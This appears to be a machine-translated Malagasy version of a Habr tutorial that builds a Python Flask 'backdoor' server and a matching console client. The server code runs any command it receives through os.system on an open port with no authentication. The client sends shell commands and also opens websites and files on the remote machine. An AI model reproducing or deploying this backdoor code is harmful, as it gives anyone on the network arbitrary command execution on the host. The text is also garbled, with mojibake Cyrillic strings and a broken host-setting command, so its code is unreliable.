Hey Habr!
Vao haingana aho no nijery ny dikan-tsarimihetsika fandaharana "Ahoana ny fomba hamoronana rindranasa an-tranonkalanao ao amin'ny Flask." Ary nanapa-kevitra ny hanamafy ny fahalalako amin'ny tetikasa sasany aho. Efa hatry ny ela aho no tsy nahalala izay hosoratako ary tonga tamiko ny hevitra hoe: "Nahoana raha manao varavarana kely ao ambadika ao anaty tavoahangy?"
Ny safidy voalohany amin'ny fampiharana sy ny fahaiza-manaon'ny backdoor dia niseho avy hatrany tao an-dohako. Saingy nanapa-kevitra ny hanao lisitr'ireo fahaiza-manao backdoor avy hatrany aho:
- Mahaiza manokatra tranonkala
- Manana fidirana andalana baiko
- Mahaiza manokatra fandaharana, sary, horonan-tsary
Noho izany, ny teboka voalohany dia tena mora ampiharina amin'ny alΓ lan'ny module webbrowser. Nanapa-kevitra ny hampihatra ny teboka faharoa aho amin'ny fampiasana ny os module. Ary ny fahatelo dia amin'ny alΓ lan'ny module os ihany koa, fa "rohy" no hampiasaiko (bebe kokoa momba izany any aoriana).
Manoratra mpizara
Noho izany, *drumroll* ny code server rehetra:
from flask import Flask, request
import webbrowser
import os
import re
app = Flask(__name__)
@app.route('/mycomp', methods=['POST'])
def hell():
json_string = request.json
if json_string['command'] == 'test':
return 'The server is running and waiting for commands...'
if json_string['command'] == 'openweb':
webbrowser.open(url='https://www.'+json_string['data'], new=0)
return 'Site opening ' + json_string['data'] + '...'
if json_string['command'] == 'shell':
os.system(json_string['data'])
return 'Command execution ' + json_string['data'] + '...'
if json_string['command'] == 'link':
links = open('links.txt', 'r')
for i in range(int(json_string['data'])):
link = links.readline()
os.system(link.split('>')[0])
return 'Launch ' + link.split('>')[1]
if __name__ == '__main__':
app.run(host='0.0.0.0')
Efa nariako daholo ny code, fotoana hanazavana ny essence.
Ny kaody rehetra dia mandeha amin'ny solosaina eo an-toerana amin'ny port 5000. Raha hifanerasera amin'ny mpizara dia tsy maintsy mandefa fangatahana JSON POST isika.
Rafitra fangatahana JSON:
{βcommandβ: βcomecommandβ, βdataβ: βsomedataβ}
Mazava ho azy fa ny 'baiko' no didy tiantsika hotanterahina. Ary ny 'data' no tohan-kevitra baiko.
Azonao atao ny manoratra sy mandefa ny fangatahana JSON hifaneraserana amin'ny mpizara amin'ny tanana (hanampy anao ny fangatahana). Na azonao atao ny manoratra mpanjifa console.
Manoratra mpanjifa
code:
import requests
logo = ['nn',
'****** ********',
'******* *********',
'** ** ** **',
'** ** ** ** Written on Python',
'******* ** **',
'******** ** **',
'** ** ** ** Author: ROBOTD4',
'** ** ** **',
'** ** ** **',
'******** *********',
'******* ********',
'nn']
p = ''
iport = '192.168.1.2:5000'
host = 'http://' + iport + '/mycomp'
def test():
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
def start():
for i in logo:
print(i)
start()
test()
while True:
command = input('>')
if command == '':
continue
a = command.split()
if command == 'test':
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
if a[0] == 'shell':
for i in range(1, len(a)):
p = p + a[i] + ' '
dict = {'command': 'shell', 'data': p}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
p = ''
if a[0] == 'link':
if len(a) > 1:
dict = {'command': 'link', 'data': int(a[1])}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
else:
print('ΠΠΎΠΌΠΌΠ°Π½Π΄Π° Π½Π΅ ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠΎΠ²!')
if a[0] == 'openweb':
if len(a) > 1:
dict = {'command': 'openweb', 'data': a[1]}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
else:
print('ΠΠΎΠΌΠΌΠ°Π½Π΄Π° Π½Π΅ ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠΎΠ²!')
if a[0] == 'set':
if a[1] == 'host':
ip = a[2] + ':5000'
if command == 'quit':
break
Fanazavana:
Voalohany indrindra, ny maody fangatahana dia nafarana (ho amin'ny fifandraisana amin'ny mpizara). Ireto ambany ireto ny famaritana ny asa fanombohana sy fitsapana. Ary avy eo ny tsingerina izay mitranga ny majika. Efa namaky ny kaody ve ianao? Noho izany dia azonao ny dikan'ny ody mitranga amin'ny tsingerina. Ampidiro ny baiko - dia tanterahina. Shell - baiko ho an'ny baikon'ny baiko (eo amin'ny ambaratonga ny lojika).
Fitsapana - jereo raha mandeha ny mpizara (backdoor)
Rohy - fampiasana "fohy"
Openweb - fanokafana tranonkala
MialΓ - miala amin'ny mpanjifa
Set - mametraka ny ip ny solosainao amin'ny tambajotra eo an-toerana
Ary izao bebe kokoa momba ny rohy.
Misy rakitra link.txt eo akaikin'ny server. Ahitana rohy (lalana feno) mankany amin'ny rakitra (video, sary, programa).
Ny rafitra dia toy izao:
ΠΏΠΎΠ»Π½ΡΠΉ_ΠΏΡΡΡ>ΠΎΠΏΠΈΡΠ°Π½ΠΈΠ΅
ΠΏΠΎΠ»Π½ΡΠΉ_ΠΏΡΡΡ>ΠΎΠΏΠΈΡΠ°Π½ΠΈΠ΅
Ny vokany
Manana mpizara backdoor izahay amin'ny fanaraha-maso solosaina amin'ny tambajotra eo an-toerana (ao anatin'ny tambajotra wi-fi). Amin'ny lafiny ara-teknika, afaka mitondra ny mpanjifa amin'ny fitaovana rehetra misy mpandika teny python isika.
PS Nampiako ny baiko napetraka ka raha misy solosaina ao amin'ny tambajotra eo an-toerana nomena IP hafa, dia azo ovaina mivantana amin'ny mpanjifa.
Source: www.habr.com